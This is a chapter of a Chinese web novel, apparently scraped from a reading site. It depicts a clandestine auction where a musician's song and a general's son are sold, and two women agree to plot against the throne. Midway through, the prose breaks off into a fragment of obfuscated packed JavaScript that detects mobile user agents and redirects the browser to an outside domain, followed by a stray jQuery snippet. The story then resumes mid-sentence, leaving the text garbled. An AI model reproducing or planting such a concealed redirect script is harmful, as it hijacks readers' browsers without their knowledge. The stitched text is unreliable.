默认冷灰
24号文字
方正启体

7. 两心结

作者:青红书本书字数:K更新时间:
    钱双双准时现身,于子时亲临珍马行,主持开场仪式,身后还跟着一个怀抱琵琶的花魁公子。


    此处虽是千里撼一手出资打造,但明面上的老板却是钱双双,知晓此处为千里家产业之人更是少之又少。


    人的畏惧大多来源于未知,钱双双头戴红纱出场,俨然一副异域模样,关于她的传言漫天飞舞,有些比希腊神话还扯淡。


    说她是先帝遗孤的,说她是塞外贵族的,甚至还有些旷世奇才说她是天外来客,不过这也确实没说错。


    穿越而来嘛,确实算天外来客。


    五花八门的各色表演调动着众人情绪,吸引全场目光,而此时,珍马行大门悄悄落锁。


    四道大门里外设有数百人看守,其余五道暗门也设下机关。


    归根结底是“地下交易”,不小心点儿又怎么行,毕竟从前白笑孔真的来“微服私访”过。


    小心驶得万年船,当年重明馆因风声太盛传到了白笑孔耳朵里,本以为她会一笑了之,哪承想她竟多疑至此,秘赴珍马行一探究竟。


    千里撼得此消息紧急换了一堆假货掩人耳目,里里外外拉着所有人演了一场“故弄玄虚”的戏码才叫白笑孔放心离开。


    经此一事,千里撼便学会了夹着尾巴做人,硬生生挖空了一座山来藏人,整座珍马行也跟着翻新,从原有的四层加到了六层,不过是上下各加了一层。


    毕竟死里逃生,自那之后千里撼又设下许多规矩。


    二楼及以上拍卖只收黄金,现付现结。


    “拍品”中奇人不在少数,因此,拍卖时一楼需全部清场作厅。


    二楼则共有从甲到癸共十个隔间,其中每个隔间可坐两人,一玄一素。


    这番改动,严进严出,虽损失部分客流但也进行了“提纯”,更排除了许多潜在威胁。


    但其实总体规则和现代竞拍差不多。


    灵丹妙药与传世珍宝件件游过,三件拍品后二楼换着花样儿的上美酒来,但凡叫得出名字的酒,不管多贵,全部免费畅饮。


    千里撼浅酌几口,不自觉拱了下鼻子,酒香灌满整个珍马行,在座众人哪怕不醉也要被这浓香微醺。


    而这正是她想要的,不上头又能舍得砸钱呢?


    真正的拍卖才刚刚开始——由各个花魁担任拍卖师的“豪杰拍卖”。


    玉阶台上,钱双双身后那位花魁公子怀抱琵琶颔首端坐,就在方才,钱双双拍出了他的一首琵琶曲。


    “乙间玄客出价黄金四十两!诸位还有要加价的吗,戊间玄客要加吗?”


    “好!戊间玄客黄金六十两!诸位还有人要加吗?”


    “乙间玄客八十两!”


    “还有人要加价吗?”,钱双双一遍遍叫价道。


    见双方僵持不下,钱双双打算添一把柴,推销道:“满秀遗公子这首《龙山雪》今日可是头一次弹,诸位只晓得他那首《乱朱紫》天下一绝,却不知这《龙山雪》才是旷古佳音啊,我曾有幸听了几个音节,当真是非同凡响!”


    “黄金一百两!”


    此言一出那乙间玄客得小厮便举牌加价,见此众人皆向其行注目礼。


    满秀遗的确名动京城也一曲难求,但花费一百两去买一支曲子多少叫人有些琢磨不透了。


    珍马行是个极有分寸的地方,该透风的地方透风该闭嘴的时候闭嘴,大魏之中多少王公贵族走进珍马行一掷千金,为的就是扬名,后来人争相效仿也不过是想在这世上留下痕迹罢了。


    况且,如今的世道,别说琴曲歌赋,哪怕诗词文章也没几个人理会,大家都想及时行乐。


    再多金银财宝堆砌也不过是为了凑热闹,想必那个戊间玄客也是如此。


    定槌重重落下,钱双双才不管那些,她只知道一百两黄金到手了。她高声恭喜道:“恭喜乙间玄客,以黄金一百两拍得满秀遗公子的《龙山雪》!”


    按照往日流程这位拍得者该露面感谢一番了,只是当众人齐齐望向戊间等那人亮相时门前珠帘却一动不动,就好像真的是为这一曲而来。


    最后竟是小厮出面谢礼。


    众人泛起嘀咕,态度转变的极快,看向戊间的目光也从感叹与嘲讽转为欣赏与猜疑,就像有风刮过。


    满秀遗双目垂地并不在意这些,只在定锤落下后缓缓抬头望向戊间玄客,轻点头颅以示感谢。


    隔着帘子他看不清那人,但这世上能毫掷千金买他一曲的没几个,满秀遗心知肚明。


    琵琶是一种越抱越轻的东西,它不像孩子,但和人一样会老。满绣遗几乎已经和这把琵琶融为一体,他抚上琴弦,终于露出笑容。


    一根极长的发簪若柳枝般将他满头乌发束起,松花绿衫白玉环佩,珍马行满室富贵独他不染,唯那乌木琵琶是他心头所爱。


    戊间门前,珠帘轻摆,一语不发。


    满秀遗终于弹起那首价值百金的《龙山雪》,空旷而孤寂。


    “真是赚到了。”,玉雪倾喃喃道。


    千里撼:“怎么说?”


    “这满秀遗乃是前朝长公主白锦绣的小儿子,据说三岁通音律,五岁诵乐书,少时泛舟游曾靠一曲《湖心雪》唤来百鸟盘桓不去,只可惜在白锦绣去世后这首曲子便成了绝唱。”


    听她这么一说千里撼的确记起这个人物了。


    白锦绣在上一代“皇位争夺战”中遗憾落败,事后莫名身亡,白笑孔将其亲眷抄家流放,毫不顾手足之情,仿佛白锦绣与她是生死仇敌,殊不知她所谓白锦绣的至亲也包括她自己。


    皇权之下无新事,无非是换一拨人“经典重现”罢了。千里撼倒不在乎这些,她看得很开,当初换下满秀遗纯粹是看他年纪小太可怜,恰好自己也想听琵琶了。


    千里撼道:“这也是无可奈何之事,覆巢之下无完卵。十年沧海桑田,满秀遗正因为弹不出《湖心雪》才是满秀遗,这一点他应当比谁都明白。”


    “指法僵固琴心消,前尘环扫百愁浇。弹得是什么已经不重要了,人早被蛀空了。”


    玉雪倾说完,眼眸低垂,陷入深思。


    她有种说不出的伤感与忧愁,但在这个时候的玉雪倾不该有这些。


    哪怕只是一瞬间的神情,但还是被千里撼察觉了,她的余光紧紧锁定玉雪倾,身体却一动不动。


    她知道以后的事,也知道玉雪倾这一生的剧情,她既是大魏众生之一,又是能撬动天地的支点。


    大魏和这世上所有史书同样,无非是穷奢极欲之后蛛丝结雕梁。千里撼是个十分自知的人,她不会高估自己,如果遇见危险大多数时候她最先想到的一定是自保。


    但玉雪倾不太一样。


    她高风亮节,心系百姓,事关天下或一人于她而言毫无差别,皆会全力以赴。千里撼正是被这一切深深吸引。


    作为规则之外的看客千里撼明知不该插手,但又明知故行。这样珠玉般的人,波涛似的心,她实在不懂玉雪倾是怎么会被困深宫郁郁而终的。


    她就该杀出去。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269380|182238||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >用刀劈斧砍,把皇权捻个稀碎。


    什么狗屁“天下太平”,不过是在战争中间放了块白布粉饰太平,哄骗双方各退一步,实则谁都不会动。


    这招屡试不爽;在治国理政,在公主出嫁;在家族联合,在小姐联姻;在两姓之好,在女子出阁。


    说到底就是拿一个“善”字出来,将上头那几条横连起来捂住底下的嘴,又扣了顶高高的帽子压住,这样漂漂亮亮的一打扮就会发现什么仁义礼智信的装饰都可以往上挂,最后再蒙住双眼,这下所有人都会忘记这其实是桩贩人的买卖。


    千里撼冷笑一声,和在琵琶里,细不可闻。


    但玉雪倾听到了,她看向千里撼,那双眼似夜晚中的狼目,仿佛只需一瞬便能穿透她心中所想。


    可面对这样的眼神她并未感到危险,恰如怒目金刚,玉雪倾轻易读懂了千里撼掩藏在冷血之下的悲悯。


    琵琶声停,满秀遗缓缓退去,紧接着又上来第二位花魁娘子卖琴曲,如此十二次后拍卖正式开始。


    钱双双登台暖场后将定槌交给一位娘子,临走前往千里撼那边瞧了一眼。


    “下面拍卖的这位乃名将之后,护国将军之子,诸位可以出价了!”,孙娘子声音嘹亮,话音一落便有几间客人开始叫价,众人等了一晚终于等到这一环节,早已急不可耐,叫起价来也愈发狠。


    经过一番角逐后孙娘子落槌道:“恭喜癸间素客,以黄金一百五十两拍得前朝护国将军王奕三子王叔用!”


    玉雪倾见王叔用被像物件般交易,心中空荡荡的,感觉像在照镜子。她道:“想不到王将军之子仅值一百五十两,想当年他率领八千兵马对阵东蛮两万兵夺回赤枫关,何止一百五十两。”


    “名臣朝中死,战者马革尸。王老将军熟读兵法可退三军,但他的兵书上却没写为什么他拼命守护的大魏白家会骨肉相残。说到底,不过是一‘权’字而已。”,千里撼说罢,扭过头去不再看玉阶台。


    玉雪倾道:“君臣一梦,今古空名。当年的王将军比如今的四大家族不遑多让,如今看来,所谓荣华富贵只不过是笑话罢了。”


    “四大家族么……应当只剩三家了吧。”


    玉雪倾双眉微蹙,眼底流出淡淡哀伤,道:“依郡主所见,三家真就比四家更好吗。”


    “卧榻之侧岂容他人鼾睡。陈氏有没有错不重要,大魏有几家也不重要,重要的是看‘她’怎么想,”千里撼直视玉雪倾道:“匹夫无罪,怀璧其罪,为君效力者最忌无欲无求。”


    玉雪倾:“那郡主以为,国之四柱变成三足鼎立,往后还会不会再变呢。”


    “事在人为。”


    玉雪倾双眸一闪,有些话不必多说。


    如今三家是一条绳上的蚂蚱,看似错综复杂实则命运相仿。千里撼有这颗心也在玉雪倾意料之内,只不过她没想到身为郡主的千里撼会如此直接。


    玉雪倾心中明了,豁然开朗,拿起酒杯一饮而尽,畅快道:“我也这么觉得。”


    杯中美酒温热,她举杯道:“今日能够有幸与郡主相交,实乃我之幸事。”


    千里撼赌对了,玉雪倾早有谋逆之心。她这番话字字都踩在玉雪倾的心坎上,二人达成共识。


    如果这个世界注定要有改变,那么怎么变,她千里撼要说了算。


    “雪倾不必多礼,叫我琼林就好。”


    对上玉雪倾充满野心的眼神千里撼顿时受到了极大的鼓舞,因为只要有了玉雪倾,她就已经赢一半了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)